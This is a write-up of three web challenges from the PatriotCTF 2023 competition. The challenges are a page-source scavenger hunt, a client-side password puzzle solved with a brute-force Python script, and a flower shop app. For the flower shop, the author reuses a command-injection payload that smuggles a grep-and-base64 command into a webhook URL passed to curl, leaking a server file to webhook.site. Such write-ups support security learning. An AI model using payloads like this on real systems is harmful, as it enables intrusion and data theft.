PatriotCTF 2023
Overview
I had the chance to compete in this year’s Patriot CTF competition hosted by the Mason Competitive Cyber team from George Mason University in Virginia. The support for this event was great and I struggled on a couple of their challenges and learned something new. The admins were very responsive to support tickets and questions over discord so it was an enjoyable experience overall.
One area that the Patriot CTF organization team could improve in future events is the reliability of their challenges. Over the duration of the competition a few challenges have gone down or been reset which interrupted some participants. Also, one web challenge had three unintended solutions. To their credit, all of these challenges were addressed promptly. Running a CTF is not easy.
Table of Contents
[Web] - Scavenger Hunt
Difficulty = Easy
Points = Dynamic Scoring
Prompt
Can you find all the hidden pieces of the flag?
http://chal.pctf.competitivecyber.club:5999/
Write Up
This is a beginner challenge asking us to find “parts” of the flag. This sounds like it would be similar to one of the challenges in Offsec’s PEN-200 course where you look through the page source, javascript, and css.
The first part of the flag is on the index page so here is one.
The second part can be found in an HTML comment.
From the page source we find two javascript files script1.js
and script2.js
and they both have parts of the flag.
The final part of the flag is found in /robots.txt
I try to include more of my thought process as I do these challenges but sometimes they are too straightforward.
Flag
PCTF{Hunt3r5_4nD_g4tH3R5_e49e4a541}
[Web] - Checkmate
Difficulty = Medium
Prompt
Get your adrenaline pumping as you navigate the thrilling world of Crypto Web for Capture the Flag.
http://chal.pctf.competitivecyber.club:9096/
Write Up
First thing we see when we open this webpage is a login form.
Looking at the page source we find some javascript code that shows us how the credential validation works.
Looks like we have three functions that are used here:
checkName()
- checks that the names is equal to the reverse of
"uyjnimda"
- username:
echo uyjnimda | rev
->adminjyu
- checks that the names is equal to the reverse of
checkLength()
- this function returns true if the length of the password is divisible by 6.
checkValidity()
- this function processes the input in chunks of 6 characters.
- Line # 209 - the
Array.from(password).map(ok)
creates an array of characters with codes in the range [97, 122]. i.e. lowercase chars - we have to satisfy the following conditions
input[0] & input[2] == 0x60
- we need two characters that have the bits of
0x60
in common - we can use
'a' = 0x61
and'b' = 0x62
- we need two characters that have the bits of
input[1] | input[4] == 0x61
- same process as
&
but with'a' = %61
character
- same process as
input[3] ^ input[5] == 0x06
- XOR is reversible so if we pick
'a'
at random we can find a character to satisfy the condition using'a' ^ 0x06 = 0x67 = 'g'
- XOR is reversible so if we pick
- Starting with these values we can use the ascii table and a hex calculator to construct a valid password.
After reading the code this challenge is actually pretty straight forward.
- Username =
adminjyu
- Password =
aabaag
From the page source we see a comment // /check.php
on line 224.
The /check.php
page has a field that sends a post request to itself with the password as a parameter. It doesn’t accept the password from before.
There are many passwords that satisfy these conditions so I messaged an admin about it and he told me not to “manually guess”. So the gameplan now is to generate all possible passwords and do a dictionary attack.
I wrote an ugly python script to do this. (bottom of the writeup)
Now we can use the password to get the flag.
Flag
PCTF{Y0u_Ch3k3d_1t_N1c3lY_149}
solve.py
- adding multithreading would make this a lot quicker
import requests
def try_password(password):
url = 'http://chal.pctf.competitivecyber.club:9096/check.php'
params = {'password': password} res = requests.post(url, data=params) return
'incorrect password' not in res.text
ands = []
xors = []
print('---Generating Passwords---')
# figure out ands
for i in range(97, 123):
for j in range (97, 123):
if i & j == 0x60:
pair = (chr(i), chr(j))
ands.append(pair)
# figure out xors
for i in range(97, 123):
for j in range (97, 123):
if i ^ j == 0x6:
pair = (chr(i), chr(j))
xors.append(pair)
print('\tgenerated ' + str(len(xors) * len(ands)) + ' passwords')
print('---Trying Passwords---')
# try all combos
for first in ands:
for second in xors:
password = ['a'] * 6 # 'aaaaaa'
# plug in ands '&a&aaa'
password[0] = first[0]
password[2] = first[1]
# plug in xors '&a&!a!'
password[3] = second[0]
password[5] = second[1]
# make a guess
password = ''.join(password)
success = try_password(password)
if success:
print('\tPassword Found: ' + password) exit()
[Web] - Flower Shop
NOTE - just skip ahead to the shortcut
Difficulty = Medium
Points = Dynamic Scoring
Prompt
Flowers! Flag format: CACI{}
http://chal.pctf.competitivecyber.club:5000/
Provided Files
Write Up
The index page has three forms which allow us to sign up, log in, and reset the password for our account on this web app.
The first thing that catches my attention is the webhook url required on the sign up page. The reset mechanism is probably the intended path for this challenge.
From unzipping the zip archive I can see that there is an admin.php
. This is the page that contains the flag as we can see on line #19. On line #10 we can see that we have to be logged in as admin to access this page.
In line #36 of /app/classes/dbh.php
we can see that the initial webhook set up for the admin is a dummy link. We need a way to overwrite this, probably an SQLi somewhere.
The way the password reset works is that when a reset is requested, the web application will make a POST request to the webhook URL with a temporary password as the argument to tmp_pass
parameter.
The temporary password is built using the following:
- 8 character random string -> randomness from
mt_rand()
- unix time stamp seconds
- unix time stamp microseconds
- process pid
Shortcut
I just realized that the sqlite database is publicly accessible. I downloaded it and checked the webhook of the admin account and it looks unchanged so that is not the intended path.
I kept looking through the database and found the webhooks that other people have been using. Here is a very interesting one:
https://webhook.site/3712abfc-f3c3-4c98-adbd-e187eda1cc15?a=grep${IFS}CACI${IFS}../admin.php${IFS}|${IFS}base64
In the /app/scripts/sendpass.php
file we can see that the temp password POST request is being done via curl
, this person injected a command into the url that would read the flag from the admin.php
file on the server side and encode it in base64 to escape the bad characters.
I signed up for a new account with my own webhook using the same command injection and sure enough I get the base64 encoded flag.
Last step is to decode.
Flag
CACI{y0uv3_f0und_th3_rar3st_s33d_0f_all!}